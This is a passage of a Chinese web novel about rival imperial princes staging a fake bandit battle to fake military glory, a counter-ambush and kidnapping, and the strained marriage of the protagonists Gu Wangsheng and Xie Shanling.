谢善淩:“是啊!顾望笙你这个窝囊废,只敢逼迫我嫁给你,又哄我,说什么事都会遂我心意,如今江泊润死得冤屈不能瞑目,你却畏惧顾裕泽的身份权势而将我软禁起来不让我替他伸冤!我又没让你这个废物替他伸冤,我自己去你也不肯!你除了对我威风你对外面谁不是个窝囊废?!去舔三皇子的鞋底吧!” “你——” “我什么我?你还总说顾裕泽的坏话,说那些要去他面前逞威风的话,呵呵,到了该见真章的时候你却怂卵了!好笑至极!你这缩头的王八儿子!活该戴上绿帽子。顾裕泽固然不是个人,好歹比你有骨气!若哪日我跟他睡了说不定你还会谄媚地给我们送水吧!” “谢善淩!!!我看你是好了几日不记得挨打的滋味儿了!是我太给你脸了!” 大皇子开始摔东西咆哮,和谢善淩对骂,听动静甚至还想对谢善淩施以暴行!不过陈贤直也在屋里,自是拼命拦着护着,和大皇子也吵起来。 大皇子是个窝里横的窝囊废,只敢对妻子谢善淩动手,却顾忌陈贤直的身份,只敢嘴上吵…… 宁蔚和三皇子几乎同时得到了来自各自耳目的如上描述。 三皇子的反应想法暂且按下不提,宁蔚忍不住大笑,但一不小心牵动了嘴角被谢善淩和陈贤直打出来的伤,顿时笑容一僵,脸颊微微抽搐,又阴沉下来。 作者有话要说: 宋淮安:为什么感到丢人的会是我呢…… 陈贤直:匪军就是粗鲁!谢思玄受苦了! 宋淮安:有一说一,你闺蜜难道就很文雅? 江泊润:思玄受苦了! 宋淮安:……偶尔也会觉得秦青确实不太容易。 秦青:只是偶尔吗?宋淮安你果然没良心。 宋淮安:你倒是对他俩发发气啊,就敢冲我来? 秦青:嗯呐。 宋淮安:……谢思玄受苦了。我也受苦了。 第62章 ◎现在我都同情谢善淩了!我要是他我也早晚跟老四跑了!◎ 虽然和谢善淩争执不断, 但顾望笙依旧不离不弃,兢兢业业地守在他病床旁,好的时候苦口婆心地劝说,劝到火起就又大吵一架。 自从陈贤直目睹好友在幸福表面下其实是生活在如何水深火热之中, 生怕大皇子一言不合对柔弱不能自理的谢善淩施以暴行, 他不能再失去一个好友了, 索性搬到两人住的小院偏房里,一有空就守在谢善淩床边瞪着大皇子。 大皇子都烦他了。 “陈大人, 你这整天待我俩屋里、坐谢善淩床边,说出去也不好听啊!” 陈贤直当没听见。 大皇子无能地在屋里屋外徘徊几圈, 酝酿好情绪正要发作,三皇子遣人来叫他过去一趟。 大皇子为难地瞅瞅陈贤直, 给来人使眼色。 来人平静强调:“三皇子很生气,说若您不去,就由属下带您去。” 大皇子顿时一僵, 左思右想,最终在谢善淩和陈贤直鄙夷厌恶的视线中悻悻然跟人走了。 走之前再三叮嘱院里守卫看牢了谢善淩不准他出去,若出乱子绝对拿他们是问! * “你啊你……” 三皇子欲骂又止, 想了想, 算了。自己对着墙壁骂,墙壁还能掉点灰,对着老大骂,这家伙脸皮太厚,灰都不掉! 他绷着脸道:“说正事吧。我此行来到浔阳城,其实还有一件很重要的事。先前看在你的面子上给谢善淩面子, 光顾着江锐案了, 如今人都死了, 别再为他耽误事儿。” 顾望笙疑惑地看他:“什么事?” 顾裕珩轻咳一声,认真道:“你,领兵去攻打黔阳城。” “啊?我?” 顾望笙发出迷茫的声音,眼中满是清澈的愚蠢,看得顾裕珩都不安起来,严重怀疑,让他去打黔阳城,一个搞不好,别说城打不下来,他自己都得被匪军俘虏。 但是也没办法了。 他叹了声气,愤愤道:“宁蔚那群废物久攻不下,老四为了推卸责任,一直叫人往你我的身上扯,试图用咱俩来背这黑锅。父皇被他们的花言巧语所蒙蔽,真生气了来骂我……” “……骂骂也不掉两块肉,反正是自己亲爹。可若去战场上就危险多了。”顾望笙呐呐。 顾裕珩恨铁不成钢地看他:“出息!别说了,反正你得去!” 顾望笙顿时脸一垮,比苦瓜更苦:“我不会打仗啊!我去了也是打败仗,父皇不更生气了吗?” “废话,我能不知道你吗?我敢指望你吗?”顾裕珩翻着白眼道,“自然是有万全之策!喏,自己看。” 说着递给顾望笙一封厚厚的信。 顾望笙拆开细看,笔划刚硬,力透纸背,是孙瑛的字迹。 孙瑛在厚厚一叠纸上详尽写了围攻黔阳城的战略战术,几乎可说是手把手地教,但凡看的人不是个生活不能自理的傻子,军需供应也有保证,胜算可见。 这样的人,顾望笙钦佩。但若对方是不可能降服的敌人,就只能想办法除之。世事往往不能两全。 顾裕珩在一旁讲解:“孙瑛确实脱不开身,只能给出这个来让咱们照做。他说如今黔阳城被宁蔚围打这么久,表面坚强,内里肯定虚了。照着他说的做,有十之八九的把握一举收复。所以你只要敢上战场,就相当于躺着赢!父皇已经和我明确说了,这次收完黔阳城,你我班师回朝,我封秦王,你封福王。” “福王……福王……”顾望笙面露惊喜,很喜欢地喃喃念了几遍,却又猛然惊醒,惶恐地瞅着顾裕珩脸色,做作推辞,“我哪配这么好的封号……” 呵呵,果然是没见过世面的土包子乡野猎户。 顾裕珩得意道:“你不懂这其中门路,我跟你一时也说不清,总之呢,秦王才见真章……当然了,福王也是很好的封号,仅次于秦王。好事儿我都惦记着你呢!你只会在我之下,老四休想越过你去。父皇说到时候随便给他封个安王什么的,让他牢记本分、安分守己,呵呵。” 顾望笙一听老四这么不得圣心,顿时喜上眉梢,美滋滋了一阵,却又踟蹰起来,问:“既然稳赢,你怎么不去?” 顾裕珩差点没忍住一脚踹过去,耐着性子解释:“这不还有一两成意外失败的可能嘛!战场上刀枪无眼……” 顾望笙:“……” 顾裕珩:“……咳咳。你是猎户嘛,我又不是……” 顾望笙眉头拧成麻花:“你还知道我是猎户啊?我就打打野鸡兔子,最多打打鹿,碰到山猪了我都尽量绕路走……它们可都不会使刀枪。” 顾裕珩只好板着脸说:“说什么也都晚了。父皇点名指姓了让你去,他说的话就是圣旨。” 事关生死,顾望笙也精明并大胆起来,十分冒昧地质疑:“不会是父皇让你去,你却故意跟我说他是让我去,让我顶替你吧?” 顾裕珩听了这话却没恼,反倒乐了,笑着摆手:“哪儿能啊?战场凶险,父皇哪儿舍得让我去冒险。” 顾望笙:“……” “咳咳。”顾裕珩小小炫耀一把,见老大脸色不太好看,越发大度起来,带着骄傲的怜悯哄他道,“其实也是父皇对你寄予众望……你是老大嘛!若我是老大,可能就我去了。” 顾望笙低头闷闷道:“不去……” 顾裕珩又哄了几句,见他不识好歹,便动怒骂他。可这回老大也不知是真的很怕死,还是被父皇对自己的偏疼伤了心,低着头就是说不去。 顾裕珩只好又软下语气哄。 “其实,实在打不赢也不会怎么样你,你就是去亮个相,给老四的人一点难看。” 顾望笙郁闷道:“去了只会丢人现眼啊。我骑马都是回京城后才学会的……若实在就让我毁了孙将军的绝妙战术,偏偏我就撞中了那十之一二的败率,恐怕我只能以死谢罪了,福王什么的也绝对没有指望了……” 为了安抚他,顾裕珩不得不将原本司马忠良叮嘱自己瞒着他的后招也说出来。 “你真不用操心!就算你到了生死一刻还不能爆发潜力,其实我们的计划也不算失败。”顾裕珩嘿嘿笑着说,“我会安排人在你身后射你一箭,回来咱就嫁祸给老四,说是他让人放的冷箭。嘿嘿嘿,绝对不让你白跑这一趟。就算是为了安抚你,父皇也会照样封你福王的,也不会追究你的败仗之责。” “……”顾望笙沉默片刻,绝望地说,“你还不如让我白跑这一趟呢!敢情还有这一手?那我更不会去了啊!” “顾裕帧你有完没完!怪不得谢善淩嫌弃你!我都嫌弃你!现在我都同情谢善淩了!我要是他我也早晚跟老四跑了!谁愿意跟你这么个孬种!” 顾望笙顿时露出敢怒而不敢言的模样。 顾裕珩吼道:“反正你去也得去,不去也得去!去了还有生机机遇,如果不去,我现在就让你好看!” 顾望笙当即往地上一坐,耍起无赖:“行啊,至少有个全尸,就算死了也是死个明白。” 说着更是抹起了眼泪:“我拿你当亲兄弟,你却拿我这样对待,还说那样的话来伤我,我这一生活得糊涂又悲哀……” 顾裕珩深深呼吸,看着他这样子,有气但撒不出来,脑壳疼。 半晌,顾裕珩蹲下来看他,无奈地与他推心置腹:“拖了这么久了……而且咱哥儿俩都来了浔阳了,却什么功绩也弄不出来,父皇那里真不好交代!咱哥儿俩得齐心啊!否则都得被老四活吞了!” 顾望笙哀戚地看他,似有动容,嘴唇嗫嚅几下,却终究没说话。 三皇子腿蹲麻了,索性也坐下,重重地叹一口气。 顾望笙越发动容,与他互相瞅了一阵,突然灵光一现,一拍大腿道:“弄功绩而已嘛,不用我真上战场啊!” 顾裕珩不明白:“什么意思?” “造假啊!”顾望笙眉飞色舞手舞足蹈,“你弄点人在黔阳和浔阳这中间晃悠,假装是匪军流窜至此占地为王,我去打打他们,然后编一些伤亡数字,好歹也算咱们做了好事儿。” 顾裕珩一怔,细细一想,眼中渐渐也亮了起来。 顾望笙再接再厉:“我们还能伺机向朝廷申请军饷军需,还有抚恤金……都要一遍!这不又是一笔钱嘛?!连吃带拿!” 顾裕珩的眼睛越来越亮,也一拍大腿,看着他惊呼:“我的天哪!你这脑子不比老二的差啊!这也能让你想出来?你小子!以前不会是装傻吧?!” 顾望笙嘿嘿笑着摸自己后脑勺,一副憨憨傻样:“我这不是刚被你逼得命悬一线,爆发了潜力嘛……” 顾裕珩也嘿嘿:“我想也是。那以后多逼逼你。” 顾望笙顿时嘿嘿不出来了,嘴角抽搐了几下,臊眉耷眼的。 顾裕珩心情大好,温柔安慰他几下,突然灵光一闪:“等等!等等……那这就不需要你了啊。这么安全的事儿,我为什么不自己上?” 让老大建功立业然后移花接木给自己,终究是名不正言不顺,中间人多口杂的,传出去就和以前老二在时一样令自己尴尬。 之前是因为考虑到安全不得已退而求其次。 可如今已经没有这个危险和顾虑了啊!何不自己亲自上?!听起来很好玩,也试试自己的威风。哪个伟岸男儿没有当将军的梦呢?! 顾裕珩越想越美,突然瞥见顾望笙不乐意的样子,咳嗽两声,安抚:“到时候记你协助之功啊。” 顾望笙争取道:“要不我作为副将……” “不行,你不能掺和这事。”顾裕珩义正词严,“我不在,你得坐镇浔阳城看住宁蔚他们,这也是很重要的任务。” 他暗道:说笑呢?干嘛无缘无故加上一个人分自己风头? 顾望笙撇撇嘴,不情愿却也没说什么,还是挺有自知之明的。顾裕珩满意地这么想着,说:“你别想着偷懒,来说说具体如何操作。” 顾望笙苦思一阵,缓缓道:“之前我陪谢善淩出城踏青,路过一个荒败的村落,离这里不算近,但也不算远……不如就定在此处吧。从这过去沿途会经过几个村落县镇,看到你率军前去的百姓越多,口口相传,越对你名声有利。” “你事先先让人扮成匪军去那里待着,然后让人传消息回浔阳城,接着你就主动说自己带兵去剿匪。” “我假意劝说你,说那里危险,你身份尊贵,不可以身涉险,不如我代你去。你却坚决不肯,说一番慷慨激昂的话,既不舍得让我这个兄长以身涉险,表达了你爱护手足的拳拳之情,又表达你建功立业匡扶社稷的热情!” “我依旧不肯,苦苦劝阻,与你大吵起来,甚至动手。你将我掀翻在地,怒斥我一番,我才终于不得已罢了。以此衬托出你虽千万人吾往矣的一往无前的决心!传出去岂不叫人感动至深?!” 顾裕珩听得热血沸腾,连连抚掌大呼:“好好好!就这!就这!” 顾望笙也越说越热血,道:“既如此,你尽可能多遣一些人假扮匪军,最好给他们装备精良些,什么新铁铸的好兵器啊,甲胄啊,若有大炮能调也调几座!他们越显得厉害,你到时候把他们一举全歼,就显得你越厉害!” 顾裕珩眼中冒光,已经看到了自己狂扇老四那张装模作样的脸大嘴巴子的光辉未来。 他大力拍老大的肩膀,满意地夸道:“你只要努努力,真不比老二差啊!!” 作者有话要说: 老二:……蠢猪。 老三:呵呵,我知道你嫉妒老大,但他努力起来真不比你差,你别以为就自己聪明! 老二:我说你。 老三:滚滚滚滚滚死都死了还在这诈尸呢!去去去!(扔糯米) 老二:…… 第63章 ◎“别说了!别说了!”顾望笙如困兽一般哀嚎。◎ “我再去看看泊润父母吧。”陈贤直叹气道, “若有要帮忙的地方,我不去看,他们也就不说。” “泊润的尸身已经……” “已经安葬。”陈贤直说。 谢善淩攥紧了拳头,对他说话的语气中多了几分愠怒:“真相未明, 泊润死不瞑目, 你就让他们如此草草了事?他们分明是做贼心虚才匆匆将泊润下葬!” 陈贤直蹙眉为难:“我也和你一样为泊润的离世难过, 可仵作已经验过,尸身就那么摆着不能入土也实在是叫两位老人难过。” 谢善淩自知如此, 刚刚不过发泄之言。沉默着不再说话。 陈贤直一番沉吟,缓缓道:“泊润两袖清风, 我亦囊中羞涩,这回还多亏了宁蔚出钱又出力, 为泊润向朝廷争名,才能全了他的身后事……” “他只会九泉之下也不得瞑目!”谢善淩冷冷看他,“用得着宁蔚来猫哭耗子吗?江泊润就是被他们害死的!我不是给了你钱去操办丧事?再三跟你说过不许用顾裕泽宁蔚假惺惺给的钱, 你为何不听?” 陈贤直的神情微妙,半晌道:“算了,别说了……” “为何不说?你依旧相信顾裕泽, 你不信我。”谢善淩道, “哪怕江泊润被顾裕泽杀人灭口,你仍然选择他。” 陈贤直无奈道:“我不知你为何非认定了是四皇子陷害江泊润。就像唐献仪那事一样……明明两件事明眼人都知是三皇子一派所为,你非说是四皇子。我问你要证据你又拿不出来。思玄,我想信你,可我要从何信起?” 谢善淩盯着他良久,最终凄然一笑:“你的意思是我陷害顾裕泽?我为什么要陷害他?因为我和顾望笙一样效力于三皇子?” 陈贤直欲言又止, 别过头去, 支支吾吾不自然道:“自从潘成栋一事后你性情大变, 爱钻牛角尖,生了病,连我和泊润也疏远……” 谢善淩猛然拔高音量,由于激动,嗓音甚至过于尖锐:“你想说我在发疯?!” 陈贤直竟没有否认,只是将脸越发别过去不看他。 “好!好!好!” 谢善淩一连叫了十来声好,期间大喘粗气,显然气得不轻。 许久,他咬唇忍住眼中泪水,一字一顿道:“我不管你……江泊润的血海深仇,我会亲自向顾裕泽讨要回来……我会让他后悔对江泊润的所作所为!” 陈贤直转头看他,脸上满是不忍:“你——” 谢善淩却高声打断他要说的话:“道不同不相为谋!请你离开我这个疯子的地方,去投奔你那口蜜腹剑的阴险主君!” 陈贤直本就不是温吞的性子,被他这一激,腾的站起身,脸都气红了,指着他道:“谢善淩你真是……你现在就是觉得整个世间的人都要害你!谁你都要疏远驱逐!” 谢善淩挑衅地看着他:“对。” 陈贤直指着他的手一阵颤抖,最终还是没舍得说出更难听的话。 忍了再忍,只扔下一句“我去江家看看,你多休息吧”就脚下生风地匆匆离开了。看起来很像是怕多留一刻会和谢善淩打起来。 * 一连数日,陈贤直依旧会来谢善淩屋里,却和他不再说话,双方都尴尬又恼怒,僵持着不肯先认输。 顾望笙察觉异样,问怎么了,两人都当没听见。待陈贤直走了,他再问,谢善淩冷笑:“一丘之貉,装什么傻。” “好好好,我一丘之貉。”顾望笙纳闷地嘀咕,“到底什么事儿啊……我这几日有事儿要忙,顾不上你这边,你这跟陈贤直一吵架,岂不自己冷清?你这人就是爱自己给自己找罪受,唉。” “你也是猫哭耗子!” “好好好我猫哭耗子。”顾望笙一副好脾气的样子。 谢善淩:“放我出去。” 顾望笙立刻拒绝:“不行,你老实待着,不久咱们就能回京了。你可别惹事儿了。好了不说了,我先出门。” 谢善淩却叫住他,狐疑地问:“你这些时日在忙什么?” 顾望笙眼珠子转转:“外头的事儿你就别管了,安心静养吧。” 谢善淩语带轻蔑缓缓道:“你和三皇子两人忙来忙去又能忙出什么好来?”他仇恨道,“不妨告诉我,我替你们出谋划策。” 顾望笙愣愣地看着他。 谢善淩咬牙切齿:“江泊润之仇我若不报,愧为人!” “……”顾望笙的脸上闪过挣扎之色,半晌,低下头看着地面呐呐,“我知道有你相助就有如神助,可是我舍不得你卷入其中……那话别再说了。” 谢善淩嫌弃道:“装什么装。”说着很刻意地缓和了语气,“我只要利用三皇子报复完顾裕泽,就不会再掺和。望笙……” “别说了!”顾望笙不看他,“我走了,你好好养着吧。” 说完就匆匆离去。 谢善淩眼中深沉看着他的背影直到不见,又过了许久才收回视线,却是僵坐着一动不动,脸上坚毅又狰狞,似是下定了某种决心。 * 顾望笙和顾裕珩苦心谋划多日,终于安排好了一切。 锋锐崭新毫无缺口的兵器不说,一大批刀枪难入的甲胄不说,他更是调来了两座最新改良制造出来的新型大炮。 新型大炮不仅射程远,威力大,最为难得的是冷却时间短,不易爆膛。这若用于战场,必是极佳的获胜法器。 顾望笙小心翼翼地摸摸大炮,崇拜地看向顾裕珩:“这你竟也能弄来……我虽不懂这些,可看着都知道它必然是大杀器。不瞒你说,你说的时候我还以为吹牛呢。” 顾裕珩就爱看他这没见过世面的样儿!和其他装模作样的人相比,老大就是很单纯不做作,投自己的胃口! 顾裕珩得意洋洋道:“没本事的人才吹牛,我顾裕珩说得出就做得到!” 顾望笙的表情越发膜拜,眼中发光,都快炸出来星星了。 但他突然想到什么,好奇地问:“不过,你说是去年底就造出来了,怎么先前一直没听说过用在哪儿了?若用这个去攻黔阳城,不早就攻下来了吗?” 顾裕珩一脸“你这就不懂了吧”的表情,但还是耐着性子手把手地教导。 “黔阳城是老四的人在打,我傻了吗我还真帮他们啊?能好好儿给他们军需都是看在你的面子上……当然了,也是看在父皇他老人家骂我说不让我再在此事上捣乱的份上……”声音越来越小。 猛地又拔高起来:“不过现在不一样了。‘匪军’的装备越精良,我打下他们的分量才越重!” 这理念明明是顾望笙最先提出来的,然而此刻两人都好似失忆一般,顾望笙十分捧场地拍手恭维:“不愧是你!心思如此缜密,又有丰厚的家底,顾裕泽那个什么玩意,拿什么跟你斗?” 顾裕珩努力抻长脖子,昂着头,显出高傲的公鸡模样。 他胜券在握道:“既然一切都已准备齐全,就别耽误了……我请的高人也算过,明后两天宜胜战,可满载而归……” 顾望笙在旁附和:“此役一成,你就一战成名,不正是满载名声而归?这高人可真是高啊!” 话锋一转:“这位高人在哪儿?我想请他算算我和谢善淩……” 顾裕珩原本正在踌躇满志,闻言顿时如吞吃了苍蝇,拧着眉头不耐烦:“高人不算这个!” 顾望笙讪讪地不再说话。 顾裕珩却不放过他,想起另一件事,瞥着他道:“一些事儿别以为我不知道,你就在背地里搞些小动作……” 顾望笙顿时背脊一紧,目光闪烁起来,不敢直视他。 顾裕珩冷笑质问:“江锐的死令谢善淩下狠心要投靠我来报复老四,你为何拒绝?!” 顾望笙身体更加紧绷,许久才低声道:“唯独此事……我爱他,不想他掺和……” “天真!你掺和进来,就代表他也已经掺和了进来!”顾裕珩怒斥道,“难道你以为若我们斗输了,将来老四登位,能有谢善淩的好果子吃吗?!” 顾望笙幽幽地抬眼看他,欲言又止。 顾裕珩品了品,轻咳一声:“好吧,老四可能确实不会对谢善淩怎么样……不对!他难道不会强霸谢善淩作为禁脔吗?!这对谢善淩这样的傲骨来说,啊,难道不比□□上的摧残更残忍不能忍受吗?啊?何况也还是有□□上的摧残!” 顾望笙痛苦哀求:“别说了!” “我偏要说!”顾裕珩瞪着他道,“到那一天,说不定老四还要当着你的面和谢善淩……” “别说了!别说了!”顾望笙如困兽一般哀嚎。 顾裕珩想了想,瞅着他这副受刺激的模样,见好就收,拍拍他的肩膀意味深长道:“我去的这段日子,你自己多想想吧。我们已经是一条船上的蚂蚱,一荣俱荣,一损俱损。你若真爱谢善淩,就不要那么小家子气!不惜一切代价整倒老四,我们才都有光明的未来。” “……”许久,顾望笙垂着头低低道,“我会好好想想。” 他努力振作起来,深呼吸几口气,揉了揉自己的脸,抬头看着顾裕珩,情真意切道:“先不说那些。三弟,虽然此行一切胜券在握,全是咱们自己人,可你也还是要诸事小心,速战速决,回程也别耽误,早些回来我也好放心。” 顾裕珩微怔,心中不由一阵暖流淌过。 老大虽然没出息,却真的如父皇所说,因自小不在宫内长大,反倒误打误撞地养成了如此难得至诚至性的心性。唉! 老二但凡有老大一半的赤诚热情,也用不着死了…… 他用力拍拍顾望笙的胳膊,不由多了几分真情:“我不在城里,你自己也多加小心,若有事你就……” 他略一沉吟,从腰间摸出一个精巧的金牌塞到顾望笙的手里。 “若真有大事,危急时刻,你就拿这个去找孙瑛。他见着自然知你在我心中的分量,必会全力帮你。” 顾望笙握紧金牌,眼中盈泪,却又殷殷地问:“会不会对你不好?要不还是你自己拿着吧!” “哎!我人去他面前不比这块金牌好使?你这傻子。”顾裕珩好笑又感动,摆摆手,“你收好!这东西原本是我以备不时之需的……” 顾裕珩说到这里有点不舍。 刚刚一时意气上头,此刻想想隐约不安,沉吟着正要开口说“不如还是算了吧,你在浔阳城里别乱跑一般也没什么危险,还是我自己留着”…… 就见着了顾望笙抹着眼泪将金牌爱不释手地翻来覆去地看,不由语塞。 老大也是挺可怜的……我给出去了又要回来也是挺没面子的……作为实际上的“老大”,怎能如此对待心腹小弟?恐怕有伤人心啊! 而且此行能有什么危险?都是自己人。 顾裕珩这么一寻思,溺爱道:“看你那没出息的样儿……好好儿跟着我干,将来还有你更多好的,懂?” 顾望笙感激涕零,恨不能当场以身相报的样子,连连点头:“懂!懂!” “那谢善淩的事儿……” 顾望笙面露犹豫,却到底没再和起初一样斩钉截铁,片刻后低声道:“再给我点时间想想……” 顾裕珩大度道:“好。谁让你是我的亲大哥呢。我回来之前你就好好想吧!” 顾望笙点点头,心中暗道:那可有好长一段时间呢…… 作者有话要说: OOC发言 孙瑛:实在不行我投匪军算了呢? 第64章 ◎谢小少爷娇生惯养,挑食是应该的,我一个猎户皮糙肉厚……◎ 顾望笙不顾一路上百姓的目光和议论, 跌跌撞撞地狂奔到府衙,脸色惨白,发着抖,脚下一软, 差点瘫软在地。 他胡乱扶住一旁的椅子把手, 冲大堂中神色各异的人吼道:“怎么回事!怎会如此?!” ——刚刚消息传来, 三皇子不幸剿匪失败,不仅损失了一大半人手, 他本人更是在混乱逃跑的途中下落不明! 宁蔚对于这个消息喜闻乐见,只是不方便笑出来, 意思意思装装关心。此刻他转头看着顾望笙这副模样,既嫌弃又幸灾乐祸。 真该叫谢善淩来看看什么叫失了主人的狗。 知府沉重地将所知道的事情对顾望笙说了一遍, 顾望笙没听完就大喊大叫着让他们赶紧去找人,挖地三尺也要把人好好地找回来!若三皇子有个好歹,大家都别想活! “这个自然, 下官们刚刚就是在商议此事……” * 顾望笙快到早上才回。 谢善淩心里装着事儿,虽然早就躺下了,却几乎一夜清醒, 听到动静就翻了个身看他。 顾望笙瞥他一眼, 先没说话,叫人送水来洗漱折腾完,掀开被窝坐进来,轻叹一声长气,搂住谢善淩。 谢善淩正要推拒,顾望笙埋头到他脖颈间深呼吸, 小声道:“把耳目敷衍走了, 这会儿周围没人……让我抱抱, 最近都没能好好儿抱抱你。” 谢善淩当即停止挣扎,让他抱。 他不仅抱,还亲,从脖子亲到耳朵亲到脸颊和嘴唇,到处都落下细碎且炙热的吻。 谢善淩亦有回吻,与他几次换了上下相互主动,时不时抚摸脸颊。 许久过后,两人的气息都有些不稳,相互抱着静静躺着,谢善淩枕在他心口,听着他有力的心跳声。 “计划成了。” 顾望笙的一只手搭在谢善淩脸侧有一下没一下地用指背轻抚,低声道,“老三派去伪装义军的人到了那儿就被我们的人拿下,东西都一把端走,炮也推走了。” “人呢?”谢善淩问。其实他有点困了,但强撑着。 说来神奇,清醒了一晚翻来覆去地没睡着,顾望笙一回来就困了。也许是因为在顾望笙身边格外安心的缘故。 不知不觉间,已经很习惯了顾望笙的气味和体温,甚至是心跳的节奏。 “人跑的跑,投降的投降。我们去的人嫌他们废物,就没俘虏他们,不然带回去了除了浪费粮食没别的用。” 顾望笙说起来都觉得寒碜,“虽然早料想到老三带的兵不能好到哪去,但你一定想不到,他们有那么好的兵器,却压根没打起来,直接就投降了。” “也不是很难想。”谢善淩说,“顾裕珩想做戏,不会调精锐扮敌人。” 顾望笙啧了一声,接着说:“如你所料,他自己带的倒是有些骨气作用,不过一路赶路,风尘仆仆,而且我们的人假意说是他的人,本来就是他临时在这边调配的,他都辨认不出来,放松警惕被我们很快打散了。” 谢善淩一笑:“计划顺利。” 顾望笙却否认:“不完全算。出了岔子。” 谢善淩原本半闭着眼睛窝在他温暖的怀抱里,此时闻言猛然睁眼看他,瞌睡在瞬间全消。 顾望笙拍拍他,道:“别急,不算大事儿,我们没什么损失,只是要少赚点了……他带的这伙精兵让我们给俘虏带回去了,可他跑丢了。” 谢善淩一怔,坐起身看他。 顾望笙把他拉回怀中,继续说:“没想到这小子别的不行,却是真能跑,见势不妙就当机立断把衣服换到小兵身上,留下其他人虚张声势,自己麻利开溜。我们的人发现时去追,愣是没追到。这会儿还在找,但没消息。若找不着,就不能敲诈几笔他的赎身钱了。” 一开始就没想杀顾裕珩,还得留着辖制顾裕泽。 只是想着把人绑回去,然后试试浔阳城这伙表面上站队顾裕珩的官员肯不肯给钱,与此同时也试试朝周边诸如孙瑛这些三皇子派的人要。 当然,最主要是向菅贵妃要,菅贵妃肯定给。 谢善淩想了想,道:“找不到就算了,别泄露了行踪,反而不妙。” “好。”顾望笙忍不住亲亲他的额头,“好了,不说了,你一夜没睡吧?等我回来?” 谢善淩面色不变:“没啊,睡着了刚被你回来的动静吵醒了而已。” 顾望笙捏捏他脸,问:“你知不知道自己的皮肤很嫩?一时没休息好,眼睛下面就有明显的乌青。” 谢善淩刚要继续嘴硬反驳,顾望笙闭上眼睛:“就算你不困,我也困了。演了一天……不,不止今天……” 说着说着,声音渐渐小了,最终呼吸匀称而绵长,竟是真的说睡就睡着了。 谢善淩自是不忍心叫醒他,而且看他这样子,自己的瞌睡也卷土重来,便往他怀里越发钻了钻,也闭上眼睛睡觉。 顾望笙虽然睡着了,身体却本能地动作,手臂越发搂紧,脸颊蹭蹭谢善淩的头发,这才继续安心地睡。 很快两人就都进入了梦乡。 * 谢善淩自然醒来,看窗外日头还很早,可顾望笙已经又不在身边。 他呆呆坐了一会儿,一动不动,微微低着头,眉眼间满是恹恹之色,仿若一尊忧郁的白玉雕像。 说不出的难受……明明计划很顺利,可是心口莫名其妙地仿若被什么东西堵住。 又犯病了。 最近顾望笙太忙,总不在,最多忙中抽空亲手熬药,却实在没空再紧盯着谢善淩喝完,于是……谢善淩就开始阳奉阴违,将药汁偷偷倒掉。 他心想,也许是这个原因就又发病了。 先前有段时间没发作,他本以为差不多好了。 即便如今吃的不再是那个将人变痴傻的丹药,可经历那个之后,谢善淩发自本能地排斥因这个病吃的任何药,逮着机会就擅自断药了。 他心中还隐隐有股犟劲儿,其实一直不愿面对自己是个得靠治那种病的药维系体面的现实。这令他觉得自己像个懦夫。 若是其他病也就罢了,例如风寒肿瘤之类人力所不能控的病,那便不是自己的无能。 可胡思乱想的病,又有顾望笙作对比,难免会觉得是自己不够坚强的缘故。 谢善淩闭上眼睛,反复深呼吸,努力压制心头不正常的悸动。 许久,勉强好了一点点。 * 今日顾望笙晌午就回来了,先将捂在怀里还热热的千层糕给谢善淩:“这个好吃,椰浆馅儿很足,我路上老远就闻见香味了,不是特别甜,刚刚好。你试试。” 谢善淩没什么胃口,但不想他看出端倪,就接了过来小口地吃着。 顾望笙拉开凳子坐旁边,手肘杵着桌面,掌根托着脸,侧着头直勾勾地看。 “……” 谢善淩原本是不怕他看的,因为谢善淩自己有时候也喜欢这么看他。 新婚燕尔(虽然好像其实不是特别新了),浓情蜜意,爱看看正常。谢善淩有时候看着看着还忍不住不动声色地吃他点豆腐。 可因为近日偷偷倒药导致今日发了病,谢善淩有点做贼心虚,而且也确实是不想再吃这椰浆千层糕了。 他便顺势搁下手中刚吃半天才轻微受伤的千层糕,问:“你这么看着我干什么?” “又不是头一天这么看了,你不也经常这么看我吗,我可没说你。”顾望笙和他斤斤计较,转而道,“不逗你了,不看你,你趁热吃,摊主大娘说冷了就没这么好吃,再热热也没这好了。” “对我而言太甜了,我只会很偶尔才突然想吃很甜,平时不太想。”谢善淩只好这么说。 “哦,那算了。”顾望笙拿起他刚吃剩下的那块吃起来。 谢善淩愧疚地看着他说:“抱歉,你特意买给我,还焐着带回来……” 顾望笙没当回事地笑笑,边吃边说:“这有什么,还值得你这么郑重其事道歉。不喜欢吃甜的我下次买别的味道,这边糕点种类繁多,一样样尝,反正我都爱吃,你不爱吃的就我吃,不会浪费。” 说着说着故意打趣他:“谢小少爷娇生惯养,挑食是应该的,我一个猎户皮糙肉厚……也不知道怎么就娶了这么娇滴滴的小少爷,那不得细心呵护着?” 说笑归说笑,谢小少爷确实很娇滴滴,顾望笙随口轻咬他一下就是一个印子良久才消; 顾猎户也是确实很皮糙肉厚,有时候惹着了谢小少爷挨了打,顾望笙还什么事都没有,小少爷说手疼。 偶尔顾望笙会怀疑他是装的,但苦无证据,只好认罪从宽。 谢善淩今日心虚得紧,不和平时一样伶牙俐齿怼回去,而是讪讪地找理由:“我不是挑食……就是最近喜欢吃点别的味道。” 顾望笙蔫坏,一副自然而然的样子接道:“最近喜欢吃酸还是吃辣?” 谢善淩一时没防备,下意识道:“都行,都开胃。” 顾望笙顿时眼中冒光,千层糕也不吃了,站起身按住谢善淩的肩膀,将他转过来朝向自己,然后蹲下|身将脑袋拱他怀里。 谢善淩还有点懵,直到听见他大声道:“没想到我一次当两个爹!那我可太厉害了!哎呀,谁在踢?我闺女还是儿子?” “……”谢善淩终于反应过来他憋什么坏呢,毫不犹豫啪啪啪地打他背。 “三天不打上房揭瓦”这句话谢善淩小时候总能从大人的嘴里听到,尤其是二伯娘对谢善丰说得勤。当时他深以为然,不过和顾望笙一比,谢善丰就显得极为冤枉了。 作者有话要说: 谢善丰:其实我和谢善淩你小子比也很冤枉[愤怒][爆哭] 谢善鸣:男子汉大丈夫,都已为人父还哭哭啼啼像什么样!谢善丰跟我去校场[白眼] 第65章 ◎宋淮安,你究竟想对我和谢小姐做什么?!◎ 两人打闹一阵, 顾望笙抱住谢善淩借力起身,亲他脸一下,忽的在他耳边低声道:“找着顾裕珩了。他被流窜的土匪绑了。” 谢善淩一怔,听到他继续说: “先前我不是说, 用了一个烧杀抢掠的土匪头子尸身假冒江锐嘛。打那个山寨时, 他们三当家带着一拨人跑了, 谁料一直藏身于浔阳城附近,恰好遇上了逃跑的顾裕珩, 看他虽穿着简陋,但白白胖胖细皮嫩肉, 